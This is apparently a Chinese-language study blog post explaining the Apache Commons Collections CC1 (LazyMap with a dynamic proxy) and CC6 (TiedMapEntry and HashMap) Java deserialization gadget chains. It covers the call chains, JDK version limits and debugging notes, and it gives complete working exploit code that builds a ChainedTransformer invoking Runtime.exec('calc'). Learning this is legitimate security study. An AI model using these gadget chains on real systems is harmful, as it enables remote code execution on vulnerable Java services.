CC1_LazyMap && CC6

CC1_LazyMap.get.transform && CC6

CC1_LazyMap.get.transform

image-20250427210510167

分析

前面学习的是TransformedMap.checkSetValue.transform,现在学习LazyMap.get.transform

找到LazyMap的get方法里面,调了factory.transform

image-20250418141717888

factory是Transformer类

但LazyMap构造器是protect,还是用静态方法decorate传参返回创建的对象

1
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

image-20250417204012858

image-20250417203953189

之后找谁里面有调get,找到还是AnnotationInvocationHander invoke方法里有调到get方法, Map 类的memberValues也可控,传lazyMap

1
2
3
4
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor2 = c.getDeclaredConstructor(Class.class, Map.class);
constructor2.setAccessible(true);
constructor2.newInstance(Target.class, lazyMap);

要触发AnnotationInvocationHander 的invoke方法,想到动态代理

因为刚好AnnotationInvocationHander实现InvocationHandler,也相当于一个动态代理类,它代理一个类,那个类调用方法,就触发动态代理类AnnotationInvocationHander的invoke方法就可以来调到LazyMap.get

还有AnnotationInvocationHander的invoke方法两个if条件: 不能调equal方法,不能调有参方法

image-20250418204935625

而且还要与readObject连上

恰好因为AnnotationInvocationHandler接受Map类对象,反序列化AnnotationInvocationHandler对象,readObject里面会调Map类对象的entrySet方法

这个方法也能绕过上面两个if条件

image-20250418205902809

所以:动态代理类AnnotationInvocationHandler(即Proxy.newProxyInstance时传入的调用处理器)代理AnnotationInvocationHandler接受的Map类对象,使得反序列化时会因调传入的Map类对象方法,触发动态代理类的invoke方法从而调到LazyMap.get

执行:AnnotationInvocationHandler.readObject.(执行mapProxy.entrySet触发动态代理invoke)–>AnnotationInvocationHandler.invoke.(memberValues.get)–>lazyMap.get.(factory.transform)–>ChainedTransformer.transform

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

HashMap map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor2 = c.getDeclaredConstructor(Class.class, Map.class);
constructor2.setAccessible(true);
InvocationHandler h = (InvocationHandler)constructor2.newInstance(Target.class, lazyMap);//连接AnnotationInvocationHandler.invoke lazyMap.get
//上面这儿强转是因为Proxy.newProxyInstance方法第三个参数是接口InvocationHandler类的
//调AnnotationInvocationHandler.invoke.get
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
//动态代理类传h,使得后面调用代理类mapProxy的方法时,触发动态代理类的invoke方法

Object o = constructor2.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");

CC1:

LazyMap:
AnnotationInvocationHandler.readObject.Map.setEntry

​ AnnotationInvocationHandler.invoke.memberValues.get

​ LazyMap.get.factor.transform

​ . ChainedTransformed.transform

​ ConstantTransformer.tansform

​ InvokerTransformer.tansform

版本:

jdk8u_71:AnnotationInvocationHandler.readObject中没有调setValue,就没有TransformedMap这条链了

由于动态代理反序列化的影响,LazyMap这条链也不能用了

CC6

image-20250427210417295

cc1受版本的影响,cc6不受版本的影响

后面LazyMap.get.ChainedTransformer.transform与CC1一样

不同的是:

hashMap的readObject里面调hash方法,key.hashCode–>TiedMapEntry.hashCode.getValue–>TiedMapEntry.map.get(key)–>LazyMap.get

分析

找到TiedMapEntry.getValue调了get方法,它自己的hashCode调了getValue方法

image-20250419170855286

image-20250419161026141

所以下面的构造与前面学的URLdns链一样

HashMap.readObject.hash–>key.hashCode

并且还是得注意put的时候就会触发hash,hashCode,就要处理一下这儿

image-20250419144044529

对put这儿的处理是与后续利用链有关的

回顾一下在URLdns中,后续利用链URL的hashCode中进行if判断后执行,所以反射修改hashCode值非-1防止触发

image-20250419162338708

这里套的层数多,可修改的范围也大

防止put触发利用链

直接从LazyMap.get.factor.transform 这里断开

factor先放一个其他的不在构造链上的东西,put后再反射修改回来

decorate第二个参数是Transformer类的,所以传ContantTransformer就可以

image-20250419165218944

image-20250419165240667

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry( lazyMap,"aaa");

HashMap<Object, Object> map2 = new HashMap<>();
Object o = map2.put(tiedMapEntry, "bbb");

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryFiled = lazyMapClass.getDeclaredField("factory");
factoryFiled.setAccessible(true);
factoryFiled.set(lazyMap,chainedTransformer);

serialize(o);
unserialize("ser.bin");

处理put对lazyMap.get调后续利用链的影响

修改之后却没有弹出计算器来??

调试看到执行put时,调到LazyMap.get方法里面map没有key就会put key(也就是LazyMap类的这么一个功能),所以这里就已经放入key并返回

1
2
3
HashMap<Object, Object> map = new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

这儿的key来自TiedMapEntry.getValue.get(key),即实例化TiedMapEntry时传的aaa

image-20250427082747776

image-20250419172137717

所以反序列化的时候执行到LazyMap的get时map有key值,就不会调factor.transform了,也就不会触发后面的链

在put后删除key就可以了

所以put的时候需要有两点注意:

  1. 会触发hashCode,消耗利用链,注意修改避开
  2. 跳转到LazyMap时,由于没有key会进入if返回有key的map,等到反序列化的时候,还是执行到LazyMap时,有key就不会进入if调后续利用连了

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//之后在ChainedTransformer中遍历数组调ConstantTransformer的transform直接返回Runtime.class,作为下一个调transform的参数
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
//模糊:调lazyMap的get时,get里面传参(xx)->即chainedTransformer.transform(xx),返回去重新看cc1,
//因为后面往LazyMAap.decorate()传ChainedTransformer,调它的transform(),即循环调数组的Transformer[]的transform方法,数组第一个就是ConstantTransform,它的transform方法返回的与transform()括号里面的参数无关
//所以不用在这儿传,用它默认的就行


//TiedMapEntry的getValue方法调用了key.get方法
//TiedMapEntry的hashCode调了它的getValue
//hashCode这儿再往前就与URLdns链一样了
//readObject的hash(key)
TiedMapEntry tiedMapEntry = new TiedMapEntry( lazyMap,"aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
map.remove("aaa");

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryFiled = lazyMapClass.getDeclaredField("factory");
factoryFiled.setAccessible(true);
factoryFiled.set(lazyMap,chainedTransformer);

serialize(map2);
unserialize("ser.bin");

CC6

HashMap.readObject.hash(key)->HashMap.hash.key.hashCode

​ TiedMapEntry.hashCode.getValue

​ TiedMapEntry.getValue.map.get(key)

​ LazyMap.get(key).factory.transform(key)

​ ChainedTransformed.transform

​ ConstantTransformer.tansform

​ InvokerTransformer.tansform


CC1_LazyMap && CC6
https://bxhhf.github.io/2025/04/19/CC1-LazyMap-CC6/
作者
bxhhf
发布于
2025年4月19日
许可协议